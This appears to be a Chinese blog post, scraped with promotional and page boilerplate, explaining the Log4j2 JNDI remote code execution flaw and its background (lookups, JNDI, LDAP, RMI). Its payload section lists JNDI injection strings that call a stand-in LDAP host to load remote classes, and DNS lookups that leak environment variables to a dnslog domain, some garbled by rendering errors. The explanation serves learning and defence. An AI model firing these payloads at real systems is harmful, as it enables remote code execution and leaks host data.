《漏洞研究》Apache Log4j2 远程代码执行漏洞_apache log4j2远程代码执行漏洞

本文详细介绍了Apache Log4j2的远程代码执行漏洞,探讨了漏洞的利用途径,包括DNS服务、文件系统服务和LDAP协议。提供了一系列的攻击payload示例,并提到了受影响的软件版本,如Solr、Druid和JSPWiki等。此外,还提及了网络安全资料分享,旨在帮助开发者提升安全意识和防护能力。
摘要由CSDN通过智能技术生成

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

–>执行恶意代码


### 0x04 漏洞核心原理


#### **一图看懂log4j**


![012.jpg](https://img-blog.csdnimg.cn/img_convert/8da2ef52e317038c060a421c1a93a85b.jpeg)  
 当我们将外部输入的数据如浏览器类型记录到日志中时,可能会存在注入攻击的风险。比如攻击者可以在浏览器类型中注入恶意代码,造成系统安全问题。Log4j可以对字符串进行解析,如果发现${}这样的符号,就会进一步解析它,并执行对应的操作。攻击者可以利用这个漏洞,通过JNDI扩展内容请求Java对象,包括远程下载class文件并构建对象等,从而实现恶意攻击。


### 0x05 学习漏洞需了解


#### 1.lookups


lookups是查找搜索的意思, 是用于查找或获取存储在不同数据结构中数据的接口,以键或索引作为查找方式。  
 在log4j2中,就是在输出日志的时候,通过lookup方法去查找要输出的内容\*\*${}\*\*,具体查询数据存储的位置和方式需要通过代码实现。  
 ![003.jpg](https://img-blog.csdnimg.cn/img_convert/c8f928ad2bdee14f5616383fd322f9bd.jpeg)  
 该接口类似于面向对象编程中的概念。所幸log4j已经为开发者封装好了常见的查找功能模块,通过使用log4j的API,我们可以轻松地查找到日志记录器并实现日志记录。


#### 2.JNDI


根据官方文档,JNDI 全称为 **(Java Naming and Directory Interface)**,即 JAVA命名和目录接口。  
 它提供一个目录系统,将服务名称与对象关联起来,简单来说就是通过名称查找实际对象的服务。


##### 架构


JNDI体系结构主要包含三个组件:命名系统、目录系统、服务提供者接口(SPI),如下图中 JNDI 为不同的目录服务提供统一的操作接口 ,JDK 中包含了下述内置的目录服务:  
 ![001.png](https://img-blog.csdnimg.cn/img_convert/3a022db167794ba99d5539b2deaea23b.png)


##### 命名服务


它提供了一个层次化的命名空间和标准API,可以用来将对象与名称相互映射,并提供了基本的名称解析、搜索和绑定等操作。



DNS服务 通过域名寻找 ip 地址、
文件系统服务 通过文件名定位到具体文件、
以及 LDAP即轻量级目录访问协议都是名称服务,不同的是 LDAP是一个协议,是和 HTTP 一样是通用的,而不止局限于 JAVA.


通俗点来讲类似于一个字典的数据源,通过JNDI这个接口,传入name进去,就能获取到对象。不同的数据源有不同的查找方式,而且JNDI也只是一个上层封装,在它下面有很多种具体的数据源,如LDAP,DNS,NIS,NDS,RMI。


##### 目录服务


目录系统可以用来存储和查找与对象相关的元数据信息,不仅提供命名到对象的映射,还提供对象的属性信息,方便管理和检索,并提供对象属性操作执行的功能,总体来说,目录服务是名称服务的扩展,它提供了更丰富的元数据信息,提高了对象的管理和检索能力



目录服务中的对象可以有多个描述其特征和特性的属性
比如用户对象可以有用户名、密码、邮件地址、角色等属性,计算机对象可以有IP地址、MAC地址、操作系统版本等属性。

在名称服务中根据打印机名称获取打印机对象,并进行打印操作。
而用户可以通过目录服务,针对打印机需求,根据分辨率等属性进行搜索获取符合条件的打印机对象。


##### 服务提供者接口(SPI)


SPI提供了一套标准的接口,允许开发人员实现自己的命名和目录服务。  
 开发人员可以根据自己的需要,实现自己的命名和目录服务,并针对这些自定义的服务实现JNDI SPI接口。


#### 3.LDAP 轻量级目录访问协议


LDAP (轻量级目录访问协议)即是 JNDI SPI 支持的 服务接口 (Service Provider) 之一,但同时也是协议。  
 ![002.jpg](https://img-blog.csdnimg.cn/img_convert/0507221ef6931a11f6e5594b9b8cdeed.jpeg)  
 LDAP 目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,我们可以理解为是一个为可以查询、浏览和搜索而优化的分布式数据库,它呈树状结构组织数据,简单点理解:就是有一个类似于字典的数据源,可以通过LDAP协议,lookup查询传一个name进去,就能获取到数据。


#### 4.RMI


RMI是Java中的一种远程方法调用机制,使用RMI,可以在不同的Java虚拟机(JVM)之间进行对象之间的方法调用。RMI使用了面向对象的技术,允许Java对象在远程服务器上实现具体的方法,并提供接口。客户端只需要关心接口,不需要了解方法的具体实现方式,只需提供相应的参数即可调用远程方法并获取执行结果。


### 0x06 根据原理构造 Payload 利用


log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,从网上大家的测试来看,主要使用 ldap 来构造 payload,详细参考这里:


#### 1.常用payload



${jndi:ldap://127.0.0.1:1389/ Badclassname}
${jndi:ldap://xxx.xxx.xxx.xxx/exp}

//Windows
KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:dns://{env:OS}.dnslog.com}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:dns://{env:USERNAME}.dnslog.com}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值